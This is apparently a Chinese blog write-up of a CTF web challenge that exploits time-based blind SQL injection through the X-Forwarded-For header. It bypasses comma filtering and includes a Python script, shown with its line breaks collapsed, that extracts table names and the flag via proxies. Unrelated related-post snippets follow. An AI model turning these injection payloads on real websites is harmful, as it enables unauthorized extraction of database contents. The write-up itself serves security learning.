实验吧-who are you?
拿到这一题,根据提示域页面显示的ip,很多小伙伴们肯定猜到了这是一道http头注入,且是与ip相关的,与ip相关的头常见的有:
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr
x-forwarded-for
最常见的可能就是X-Forwarded-For了吧,所以我直接试了一下,将它的值修改为127.0.0.1,页面上的显示也跟着变了,看来就是它了。然后随便加一个单引号试了一下,发现被原样输出在了页面上,也没有报错,然后试了双引号括号等,都没有报错,难道是被过滤了,过滤了还能怎么玩呢?于是暂且排除过滤,联想到了会不会是时间盲注,于是开始写payload,但是在利用substr函数时,发现逗号后面的内容都会被截断,顿时懵逼了,小白刚刚入坑,也不知道怎么绕过,于是百度之,原来substring函数有一用法可以不适用逗号完成截取功能:
substring('mask',1,2)
等价于
substring('mask' from 1 for 2)
还有一个问题,就是我之前遇到盲注都是用if来实现条件判断,但是if大家也知道时需要逗号的,这里可以使用select case when语句来替代。
if与select case when参考,现在,我们就可以来写脚本了。
首先我们需要知道当前数据库所有的表名:
#! /usr/bin/env python
#-*- coding:utf-8 -*-import requests
import timechars = r"abcdefghijklmnopqrs tuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@;\/:.,0123456789"
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
#设置代理,可以忽略
proxies = {"http":"http://115.223.238.191:9000",# "http":"http://117.90.252.231:9000",# "http":"http://115.218.126.92:9000"
}
#这个函数的作用是获取表名的长度,知道了长度,跑表名更加方便
def get_len():len = 1while True:headers = {"X-Forwarded-For":"' or (select case when (select length((select group_concat(table_name) from information_schema.tables where table_schema=database())))={0} then sleep(5) else 1 end ) and '1'='1".format(len)}# headers = {# "X-Forwarded-For":# "' or (select case when (select length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'flag')))={0} then sleep(5) else 1 end ) and '1'='1".format(len)# }#headers = {# "X-Forwarded-For":# "' or (select case when (select length((select flag from flag)))={0} then sleep(5) else 1 end) and '1'='1".format(len)#}print u'当前长度%d'%lenlen += 1start = time.time()requests.get(url,headers=headers,proxies=proxies)end = time.time()if end - start >= 5:print "The length is %d"%(len-1)return len-1#获取具体的内容
def get_content():result = ''for i in range(1,5):for char in chars:headers = {"X-Forwarded-For":"' or (select case when (select substring(\(select group_concat(table_name) from information_schema.tables where table_schema=database()) \from {0} for 1))='{1}' then sleep(5) else 1 end) and '1'='1".format(i,char)}#headers = {# "X-Forwarded-For":# "' or (select case when \# (select substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'flag') \# from {0} for 1))='{1}' then sleep(5) else 1 end ) and '1'='1".format(i,char)# }start = time.time()requests.get(url,headers=headers,proxies=proxies)end = time.time()if end - start >= 5:result += charprint u'当前进度:'+resultbreakprint u'结果:'+result
if __name__ == '__main__':get_len()#get_content()
上面的脚本只需要根据特定的目的,修改为特定的headers就行
我跑了一下当前数据库中group_concat(table_name)的length为14,于是就需要根据这个长度修改一下get_content函数的外层循环的为for i in range(1,15),由于一些失误,这里跑出来的表名混在一起了,但是还是可以才出来最后的flag就是我们想要的表名。
然后跑一下字段的长度
字段名
由于我一开始脚本没有设置代理,所以到跑内容的时候,ip被封了。。。。
没想到已经隔了一周多了,上面写的东西都忘得差不多了,但是还是要完成啊。
继续跑flag的长度:
跑到一半网挂了…最终也没跑完,不过思路就这样了,flag也不放出来了。
有大佬给出了用sqlmap与burpsuite的方法,后续可能会补上
![这里写图片描述](https://img-blog.csdn.net/20180628132319497?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70) 关注web安全与python
实验吧-who are you?相关推荐
- 合肥工业大学—SQL Server数据库实验四:数据库的分离和附加
数据库的分离和附加 1. 数据库分离 2. 数据库附加 1. 数据库分离 当SQL Server服务器运行时,该服务器上所有的数据库自动处于运行状态,而运行中的数据库文件是无法进行数据库文件的拷贝的. ...
- 解读模拟摇杆原理及实验
解读模拟摇杆原理及实验 Interpreting Analog Sticks 当游戏支持控制器时,玩家可能会一直使用模拟摇杆.在整个体验过程中,钉住输入处理可能会对质量产生重大影响.让来看一些核心概念 ...
- legend位置 pyecharts_实验|pyecharts数据可视化分析-1
1. 实验介绍 本实验主要介绍pyecharts基本特点与属性. 1.1. 实验目的 了解pyecharts功能.特点.与安装方式. 1.2. 知识点 pyecharts特点 pyecharts图表 ...
- 2019春第二次课程设计实验报告
2019春第二次课程设计实验报告 一.实验项目名称: 贪吃蛇游戏编写: 二.实验项目功能描述: 这个实验主要是实现游戏的正常运行,实现的目标是对小蛇移动的控制, 同时对小蛇数据的保存,如何实现转弯的效 ...
- 汇编语言程序设计 实验九
实验内容 实验一: 补全程序t1.asm,完成在屏幕上输出内存单元中的十进制两位数 ; 在屏幕上输出内存单元中的十进制两位数 assume cs:code, ds:data data segmentd ...
- 20172324 2018-2019-1《程序设计与数据结构》实验2报告
20172324 2018-2019-1<程序设计与数据结构>实验2报告 课程:<程序设计与数据结构> 班级: 1723 姓名: 曾程 学号:20172324 实验教师:王志强 ...
- JAVA第二次验证设计性实验报告
[实验任务一]:素数输出 (3)实验报告中要求包括程序设计思想.程序流程图.源代码.运行结果截图.编译错误分析等内容. 1. 实验内容 (1)计算并输出3~100之间的素数. (2)编程满足下列要 ...
- 20172329 2017-2018-2 《程序设计与数据结构》实验五报告
这是这学期最后一次实验了,也是学到了很多东西,希望自己可以可以善始善终,加油! 让我们开始这一篇博客吧! 20172329 2017-2018-2 <程序设计与数据结构>实验五报告 课程: ...
- 计算机网络实验报告建立校园网,计算机网络实验报告
设计性实验报告 一.实验目的 通过对网络设备的连通和对拓扑的分析,加深对常见典型局域网拓扑的理解:通过路由建立起网络之间的连接,熟悉交换机.路由器的基本操作命令,了解网络路由的设计与配置. 二.背景描 ...
- c语言链表最高响应比优先,操作系统--最高响应比优先调度算法实验报告..doc
操作系统--最高响应比优先调度算法实验报告. 进程调度一.实验题目与要求 编写程序完成批处理系统中的作业调度,要求采用响应比高者优先的作业调度算法.实现具体包括:首先确定作业控制块的内容和组成方式:然 ...
最新文章
- JSON——Jackson 时间格式化输入输出
- 红外防水摄像机相关配件选购小窍门
- java.util.Date和java.sql.Date
- CTFshow 命令执行 web31
- 百度App Objective-C/Swift 组件化混编之路(二)- 工程化
- docker之docker-machine用法
- python每天1道面试题(3)--字符串组合
- Kafka 优化参数 unclean.leader.election.enable
- apache是怎么运行php的_PHP与WEB服务器是如何交互的
- docker hub mysql主从_使用 Docker Compose 搭建 MySQL 数据库主从复制实例
- 四种JSON解析工具--(json-libJacksonGsonFastJson)
- 数据库课程设计:会议预约管理系统(Java+MySQL)
- 温度补偿计算公式_基于温度压力补偿计算的燃气表计量方法与流程
- mysql对象资源管理器在哪里_SQL server2008-对象资源管理器-数据库
- Mysql按时间区段(每隔30分钟)统计数据并展示
- CSS3的2D动画属性
- 如何设计游戏中的道具功能(二)
- OPPO R8107刷机教程 救砖解锁 刷机包下载
- sampler采样器记录
- printf打印浮点数,%e %f %g的区别
热门文章
- CSP-S 2022 总结
- 【数据分析干货】世界杯4强出炉!冠军将花落谁家?看看历年数据!
- 在MAC下解决MAC unable to execute sex :GC overhead limit exceeded GC overhead的问题
- 基于 STM32对音频数据的 Flash 读取与 DAC 播放
- 华为emui11系统是鸿蒙系统吗,华为EMUI10.1才更新不久,EMUI11就被曝,网友:咋没见鸿蒙?...
- 三年级计算机帮助我们学本领,三年级学本领100字作文
- 案件被终本后,如何继续执行?
- 选磁芯的AP法到底是什么?
- 原创:商务通弹窗最新破解方法
- 给定两个有着相同长度且都在字典内的单词,要求写一个方法来把一个单词变型成另一个单词。 一次只能转换一个字母,且每次生成的单词必须在字典内...